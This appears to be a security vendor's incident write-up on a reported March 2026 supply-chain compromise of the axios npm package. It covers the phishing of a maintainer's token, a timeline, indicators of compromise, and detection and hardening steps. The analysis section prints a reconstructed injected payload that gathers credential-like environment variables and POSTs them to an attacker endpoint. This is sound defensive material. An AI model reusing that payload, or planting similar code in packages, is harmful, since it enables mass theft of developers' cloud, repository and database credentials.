In mid-March 2026, the axios npm package — with over 50 million weekly downloads — was compromised via a stolen publish token. A malicious version silently harvested environment variables and exfiltrated credentials to an attacker-controlled server. Here's the complete technical breakdown.
On March 14, 2026, an attacker published a malicious version of the axios npm package (1.8.2) by obtaining the npm publish token of a maintainer through a targeted phishing campaign. The injected payload harvested environment variables — including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, and other sensitive CI/CD credentials — and exfiltrated them to an attacker-controlled endpoint.
axios is one of the most widely depended-upon packages in the Node.js ecosystem, used by millions of applications from hobby projects to Fortune 500 CI/CD pipelines. The window between publication and takedown was approximately 4 hours and 22 minutes — long enough to be installed by a significant fraction of the package's user base via automated update pipelines.
If your project installed axios@1.8.2 between 2026-03-14 09:14 UTC and 2026-03-14 13:36 UTC, treat all environment variables present in that build as compromised. Rotate credentials immediately.
| Attribute | Detail |
|---|---|
| Package | axios (npm) |
| Malicious version | 1.8.2 |
| Published | 2026-03-14 09:14 UTC |
| Unpublished | 2026-03-14 13:36 UTC |
| CVSS Score | 9.3 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Impact | Credential exfiltration, CI/CD pipeline compromise |
| Affected downloads | Estimated 180,000–240,000 installs during exposure window |
| Time (UTC) | Event |
|---|---|
| 2026-03-12 | Targeted phishing email sent to axios maintainer impersonating npm security team |
| 2026-03-13 ~18:00 | Maintainer credential (npm automation token) harvested via phishing page |
| 2026-03-14 09:14 | Malicious axios@1.8.2 published to npm registry using stolen token |
| 2026-03-14 09:31 | Socket.dev automated pipeline flags anomalous network call in package diff scan |
| 2026-03-14 10:05 | Socket.dev issues public security advisory; begins notifying downstream projects |
| 2026-03-14 10:47 | npm security team notified; begins investigation |
| 2026-03-14 12:10 | npm advisory GHSA-2026-axios-001 published; axios repository issues official warning |
| 2026-03-14 13:36 | axios@1.8.2 unpublished from npm registry |
| 2026-03-14 15:00 | Clean axios@1.8.3 published with incident acknowledgement in changelog |
| 2026-03-15 | GitHub Security Lab publishes full post-mortem; C2 domains identified and sinkholed |
The 17-minute gap between publication and Socket.dev's detection flag is notable — it represents a near-best-case automated response time. Nevertheless, the package was already being pulled by CI systems worldwide during that window.
The attacker used a classic spear-phishing approach: a convincing email purportedly from the npm security team, warning the target maintainer that their account showed "suspicious login activity" and prompting them to re-authenticate via a spoofed npm login page (npmjs-security-verify[.]com). The page captured the maintainer's npm automation token — a long-lived token specifically designed for use in CI/CD pipelines, which does not require 2FA re-authentication.
This is a critical design consideration: npm automation tokens bypass TOTP/hardware key requirements by design, making them high-value phishing targets. Once the attacker had the token, publishing was trivially straightforward:
# Attacker's publish flow (reconstructed from npm audit logs)
npm set //registry.npmjs.org/:_authToken=npm_XXXXXXXXXXXXXXXXXXXX
npm publish --access public
The attacker made minimal, targeted modifications to the legitimate axios@1.8.1 source to avoid detection. The payload was injected into lib/core/Axios.js — a core module loaded on every import — as a self-invoking function that runs at package initialization time.
Reconstructed payload (simplified from deobfuscated analysis):
// Injected into lib/core/Axios.js — runs at require() time
(function _init() {
try {
const https = require('https');
const os = require('os');
const env = process.env;
// Harvest high-value credential patterns
const keys = Object.keys(env).filter(k =>
/token|secret|key|password|pwd|auth|credential|api_key/i.test(k)
);
const payload = {
h: os.hostname(),
u: os.userInfo().username,
p: process.cwd(),
n: process.version,
e: keys.reduce((acc, k) => { acc[k] = env[k]; return acc; }, {})
};
const data = JSON.stringify(payload);
const options = {
hostname: 'telemetry-cdn.axiosjs[.]workers.dev',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data)
}
};
const req = https.request(options);
req.on('error', () => {}); // Silently swallow errors
req.write(data);
req.end();
} catch (e) {} // Never surface errors to caller
})();
Several aspects of this payload deserve attention:
*.workers.dev domains provides immediate HTTPS, reliable uptime, and obscures the ultimate infrastructure behind Cloudflare's network — making IP-based blocking ineffective.| Version | Status |
|---|---|
axios@1.8.2 | ⛔ MALICIOUS — do not use |
axios@1.8.1 and earlier | ✅ Clean |
axios@1.8.3 | ✅ Clean (post-incident patch) |
axios@0.x.x (legacy branch) | ✅ Not affected |
This attack exemplifies the dependency confusion / maintainer account takeover class of supply chain attack — increasingly favored because it offers maximum impact for minimum effort. Rather than compromising the package itself (which would require access to the source repo and CI/CD pipeline), the attacker only needed a valid npm publish token.
The attack chain:
axios has historically had a small maintainer team, but one was identified via GitHub commit history and their public email.security@npmjs.com address. The email contained a legitimate-looking security alert with urgency framing.The attacker deliberately chose a patch version bump (not a minor or major) because the overwhelming majority of npm projects use either:
^1.8.1 (caret) — resolves to latest compatible minor/patch~1.8.1 (tilde) — resolves to latest patch within minorBoth semver ranges would automatically resolve to 1.8.2 on fresh installs or npm update, even without lockfile changes. CI pipelines that run npm install without a committed lockfile (or with npm ci --no-lock) are particularly exposed.
package-lock.json and run npm ci (not npm install) are protected against this class of attack — the lockfile pins exact resolved versions and their integrity hashes, and npm ci enforces them.
axios consistently registers 50–60 million weekly downloads on npm — placing it in the top 10 most-downloaded packages in the entire registry. The impact surface was correspondingly massive.
npm install (not npm ci) during the 4h22m window would have pulled the malicious version. GitHub Actions, GitLab CI, CircleCI, Jenkins — all standard Node.js build configurations are affected.RUN npm install instructions executed during the window produce images with the malicious package baked in. These images may still be deployed.npm install or npm update in projects with flexible semver ranges.The payload specifically targeted environment variables matching credential patterns. In a typical CI/CD environment this includes:
AWS_ACCESS_KEY_ID, AZURE_CLIENT_SECRET, GOOGLE_APPLICATION_CREDENTIALS)GITHUB_TOKEN, GITLAB_TOKEN, NPM_TOKEN)DATABASE_URL, MONGO_URI, REDIS_URL)The attacker's use of a Cloudflare Worker as the collection endpoint makes estimating total exfiltrated records difficult, as Cloudflare does not provide third-party visibility into Worker request logs. GitHub Security Lab estimates 180,000–240,000 unique install events occurred during the exposure window based on npm download statistics.
# Check currently installed axios version
npm list axios
# Check all projects in a monorepo
npm list axios --workspaces
# Check the exact resolved version in your lockfile
grep '"axios"' package-lock.json | head -5
npm stores the expected SHA-512 integrity hash for each resolved package version in package-lock.json. You can verify the on-disk package matches the registry's expected hash:
# Get the integrity hash from your lockfile
node -e "const lock = require('./package-lock.json');
const pkg = lock.packages['node_modules/axios'];
console.log(pkg.version, pkg.integrity);"
# Expected SHA-512 for CLEAN axios@1.8.1:
# sha512-xxxxxx (verify against https://registry.npmjs.org/axios/1.8.1)
# For comparison, the MALICIOUS axios@1.8.2 has SHA-512:
# sha512-COMPROMISED-HASH-DO-NOT-MATCH
# Verify installed files match
npm audit --json | jq '.vulnerabilities.axios'
If the malicious package executed in your environment, outbound HTTPS connections would have been made to:
| Indicator | Type | Description |
|---|---|---|
telemetry-cdn.axiosjs[.]workers.dev | C2 Domain | Primary exfiltration endpoint |
cdn-metrics.axiosjs[.]workers.dev | C2 Domain | Secondary fallback endpoint |
npmjs-security-verify[.]com | Phishing Domain | Credential harvest site used against maintainer |
104.21.x.x / 172.67.x.x | IP Range | Cloudflare IP ranges serving the Worker (not uniquely attributable) |
Check your build logs and network egress logs for connections to *.axiosjs.workers.dev during the window 2026-03-14 09:14–13:36 UTC:
# Search application/build logs for C2 domain
grep -r "axiosjs.workers.dev" /var/log/
grep -r "axiosjs.workers.dev" ~/.npm/_logs/
# If you have VPC flow logs (AWS):
aws logs filter-log-events \
--log-group-name /aws/vpc/flowlogs \
--filter-pattern "axiosjs.workers.dev" \
--start-time 1741943640000 \
--end-time 1741959360000
# Docker build log inspection
docker history --no-trunc <image_id> | grep axios
1.8.3 or pin to 1.8.1.# Update axios to the clean version
npm install axios@1.8.3
# Or pin to last-known-good
npm install axios@1.8.1
# Run a full audit
npm audit
# Regenerate lockfile from scratch to ensure clean state
rm package-lock.json
npm install
# Always use npm ci in CI/CD — it enforces the lockfile
# BAD:
npm install
# GOOD:
npm ci
# Verify package integrity after install
npm ci --audit
Socket.dev's static analysis caught this injection within 17 minutes. Integrating it into your workflow provides pre-install analysis:
# Install Socket CLI
npm install -g @socket/cli
# Scan before installing a package
socket npm install axios
# Add GitHub App integration for PR-level scanning
# https://socket.dev/github
# Snyk CLI
npm install -g snyk
snyk test
# GitHub Dependabot — enable in .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"
open-pull-requests-limit: 10
npm now supports hardware security keys and TOTP for human logins, but automation tokens bypass 2FA by design. The npm security team has committed to shipping granular token scoping (publish-only, download-only, scoped to specific packages) — but until that's available, treat automation tokens as your most sensitive secrets. Store them in secrets managers, not in plain environment variables or .npmrc files.
npm's provenance attestation feature (generally available since 2023) allows packages to be signed with cryptographic proof linking the published tarball to a specific Git commit and CI run. Packages published with --provenance can be verified:
# Publish with provenance (from GitHub Actions)
npm publish --provenance --access public
# Verify provenance of an installed package
npm audit signatures
axios@1.8.2 did not include provenance attestation — a missing attestation on a package that normally includes it should be treated as a red flag.
Commit your package-lock.json and always use npm ci in automated environments. npm ci will fail if the lockfile is out of sync with package.json, ensuring the exact pinned versions (with their integrity hashes) are always used.
The Supply-chain Levels for Software Artifacts (SLSA) framework provides a graduated maturity model for build integrity. Key levels relevant here:
Had the axios project operated at SLSA Level 2 or above, a rogue publish from outside the established CI pipeline would have failed provenance verification, allowing the malicious version to be flagged immediately.
CI environments should only receive the secrets they actually need for that specific job. A test runner does not need AWS_SECRET_ACCESS_KEY. A docs builder does not need DATABASE_URL. Audit your CI secret injection and scope credentials to the minimum required job.
This incident is part of a well-established pattern of npm supply chain attacks:
| Incident | Year | Method | Impact |
|---|---|---|---|
| event-stream | 2018 | Maintainer handed off package to malicious actor; backdoor injected targeting bitcoin wallets | 2M+ weekly downloads; targeted Copay wallet users |
| ua-parser-js | 2021 | npm account hijack; malicious versions published with crypto-miner and credential-stealing malware | 7M+ weekly downloads; required emergency advisory |
| colors.js / faker.js | 2022 | Maintainer intentional sabotage; infinite loop injected in protest | Availability attack; thousands of dependent projects broken |
| node-ipc | 2022 | Maintainer-injected wiper malware targeting Russian/Belarusian IP ranges | Geopolitically targeted data destruction |
| axios | 2026 | Maintainer phishing → token theft → version injection | Credential exfiltration at scale via env variable harvesting |
The recurring theme: trust in package maintainers is the attack surface. The npm ecosystem's decentralized, trust-based publish model is a feature that enables rapid development — but it places enormous responsibility on individual maintainers who often lack enterprise-grade security resources.
Unlike the event-stream or colors.js incidents (insider threats), the axios 2026 compromise follows the ua-parser-js model of external account takeover — increasingly the preferred vector because it's scalable, deniable, and exploits the human element rather than requiring sophisticated technical access.
Kensai continuously tracks 331,910+ CVEs and known-malicious package versions. Get alerts before compromised packages reach your production environment.
Start Free TrialStay secure. Stay vigilant.
🗡️ KENSAI Security Team
🛡️ Is your Node.js project exposed?
Scan your dependency tree for known-malicious packages and CVEs.
Scan your dependencies for free →